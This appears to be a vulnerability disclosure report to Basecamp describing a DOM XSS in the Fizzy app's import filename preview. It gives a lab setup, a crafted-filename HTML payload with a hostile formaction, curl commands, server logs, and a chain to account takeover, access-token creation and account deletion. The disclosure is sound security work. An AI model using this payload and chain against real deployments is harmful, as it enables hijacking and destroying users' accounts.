Basecamp · Report #3608199
DOM XSS in `fizzy.do` import filename preview enables one-click victim account takeover
How it was found
Description
Summary:
While auditing the latest Fizzy code and validating it end to end in a live Docker deployment of current main, I found that the account import page renders the selected local filename with innerHTML instead of textContent.
In practice, that means a crafted .zip filename is not shown as text. It is parsed as live HTML inside the real authenticated import form on /account/imports/new. Because that form already contains the victim's session and a valid CSRF token, I was able to inject a second submit control with an attacker-chosen formaction and turn the filename preview into an authenticated request gadget.
I pushed this beyond a theoretical DOM issue and validated the full attack chain to victim account takeover. The strongest demonstrated path was:
- I made the victim browser submit an email-change request to
[email protected] - Fizzy sent the confirmation link to the attacker-controlled mailbox
- I redeemed that confirmation link
- Fizzy created a fresh authenticated victim session for me
- I accessed the victim account and victim profile edit page with
200 OK
I also separately validated two additional impacts from the same sink:
- victim write-scoped personal access token creation
- victim account deletion
The worst case that I actually demonstrated is full victim account takeover.
Steps To Reproduce:
I am including a zip bundle with the exact scripts I used. The attachment contains:
basecamp_submission__fizzy_do__cwe-79__.mdPurpose: this submission text in markdown form.2026-03-16_import-filename_dom-xss_api-token.mdPurpose: my full technical write-up with the complete attack path, evidence, and code references.fizzy_dom_xss_seed.rbPurpose: seeds the attacker mailbox identity and victim owner account.fizzy_dom_xss_takeover_chain.shPurpose: replays the full account-takeover chain after the victim session exists.fizzy_dom_xss_account_delete_poc.jsPurpose: reproduces the secondary destructive impact, account deletion, in Playwright.README.md
I validated on current upstream:
- commit:
4211e20a663eb5ad8d4ca3340a1f8d247472c4dc
Setup
- Check out the latest affected revision and build the app:
git clone https://github.com/basecamp/fizzy.git
cd fizzy
git fetch origin
git checkout 4211e20a663eb5ad8d4ca3340a1f8d247472c4dc
docker build -t fizzy-main-latest .
- Start an SMTP capture container and a Fizzy app container:
docker run -d --name fizzy-mailhog-bridge mailhog/mailhog
docker run -d --name fizzy-ato-poc \
-e SECRET_KEY_BASE="$(openssl rand -hex 32)" \
-e DISABLE_SSL=true \
-e MULTI_TENANT=true \
-e SMTP_ADDRESS=172.17.0.6 \
-e SMTP_PORT=1025 \
-e SMTP_USERNAME=test \
-e SMTP_PASSWORD=test \
-e SMTP_AUTHENTICATION=plain \
-e BASE_URL=http://172.17.0.7:3000 \
fizzy-main-latest \
bash -lc './bin/rails db:prepare && ./bin/rails server -b 0.0.0.0 -p 3000'
- Seed the attacker mailbox identity and victim owner account:
docker cp fizzy_dom_xss_seed.rb fizzy-ato-poc:/tmp/fizzy_dom_xss_seed.rb
docker exec fizzy-ato-poc bash -lc 'bundle exec rails runner /tmp/fizzy_dom_xss_seed.rb'
In my run, that gave me:
victim account slug: /40002
victim user id: 03frq8zae2a7m9cari0v89xua
attacker mailbox: [email protected]
victim mailbox: [email protected]
- Sign in as the victim through the real HTTP flow and keep the victim cookie jar:
curl -s -i -c /workspace/victim_ato.cookies -X POST \
-d [email protected] \
http://172.17.0.7:3000/session
Then finish the magic-link sign-in. In my lab I completed real victim authentication before triggering the filename attack.
Full takeover reproduction
- Create a local file whose name injects a second submit button into the import form:
<button formaction=/40002/users/03frq8zae2a7m9cari0v89xua/email_addresses formmethod=post name=email_address [email protected]>Take over.zip
- As the logged-in victim, open:
http://172.17.0.7:3000/account/imports/new
-
Select the malicious file. The preview will render a live injected button instead of inert filename text.
-
Click the injected
Take over.zipcontrol. This causes the victim browser to submit:
POST /40002/users/03frq8zae2a7m9cari0v89xua/email_addresses
with:
- the victim's real authenticated session
- the page's real CSRF token
[email protected]
- Open the attacker mailbox in MailHog and retrieve the
Confirm your new email addressmessage. It contains a real confirmation URL like:
http://172.17.0.7:3000/40002/users/03frq8zae2a7m9cari0v89xua/email_addresses/.../confirmation
- Visit that confirmation URL and submit the real confirmation form. Fizzy then responds with:
HTTP/1.1 302 Found
Location: http://172.17.0.7:3000/40002/users/03frq8zae2a7m9cari0v89xua/edit
Set-Cookie: session_token=...; httponly; samesite=lax
- Reuse that new
session_tokencookie to request:
GET /40002/
GET /40002/users/03frq8zae2a7m9cari0v89xua/edit
Both returned 200 OK in my validation.
- Confirm server-side that the victim user identity email changed to
[email protected].
What I observed during validation
The full takeover chain succeeded. These are the exact checkpoints I confirmed:
- victim-side malicious POST to
/40002/users/03frq8zae2a7m9cari0v89xua/email_addresses - confirmation mail delivered to the attacker mailbox
- successful confirmation POST
- new attacker-side
session_token 200 OKon the victim account and victim profile edit page- victim identity now bound to
[email protected]
Additional validated impacts from the same sink
I also reproduced:
- Victim write-scoped personal access token creation
POST /20002/my/access_tokens
- Victim account deletion
POST /20002/account/cancellation
I included the deletion PoC script in the zip because it is a clean secondary demonstration of the same primitive, but the primary reportable impact is the mailbox-backed account takeover above.
Supporting Material/References:
Code references
app/javascript/controllers/upload_preview_controller.jsapp/views/account/imports/new.html.erbapp/controllers/users/email_addresses_controller.rbapp/controllers/users/email_addresses/confirmations_controller.rbapp/controllers/account/cancellations_controller.rb
Key evidence I captured
Victim-side malicious POST:
Started POST "/40002/users/03frq8zae2a7m9cari0v89xua/email_addresses" for 172.17.0.2
Processing by Users::EmailAddressesController#create as */*
Parameters: {"authenticity_token"=>"[FILTERED]", "email_address"=>"[email protected]", "user_id"=>"03frq8zae2a7m9cari0v89xua"}
[ActiveJob] Enqueued ActionMailer::MailDeliveryJob ... "UserMailer", "email_change_confirmation"
Attacker mailbox confirmation message:
Subject: Confirm your new email address
http://172.17.0.7:3000/40002/users/03frq8zae2a7m9cari0v89xua/email_addresses/.../confirmation
Attacker-side confirmation response:
HTTP/1.1 302 Found
Location: http://172.17.0.7:3000/40002/users/03frq8zae2a7m9cari0v89xua/edit
Set-Cookie: session_token=...; httponly; samesite=lax
Attacker-side access after takeover:
ATTACKER_ACCOUNT_HTTP=200
ATTACKER_EDIT_HTTP=200
{user_identity_email: "[email protected]", account_slug: "/40002"}
Attachment bundle
I prepared a zip bundle containing the report plus all supporting scripts and notes:
basecamp_fizzy_dom_xss_account_takeover_bundle.zip
Impact
Impact
An external attacker can send a crafted .zip file to a logged-in Fizzy owner and, with a single click on the import page, cause the victim browser to submit attacker-chosen same-origin authenticated POST requests using the victim session and the page's valid CSRF token.
The worst case I actually demonstrated was full victim account takeover. I was able to:
- trigger a victim email change to an attacker-controlled mailbox
- receive the confirmation link in the attacker mailbox
- redeem that link
- obtain a fresh authenticated victim session
- access the victim account as that victim
I also separately demonstrated:
- victim write-token creation
- victim account deletion
So the demonstrated impact is not just UI manipulation or an isolated DOM bug. It is a reliable path to full account compromise, plus destructive integrity and availability impact, from a single user interaction on the import page.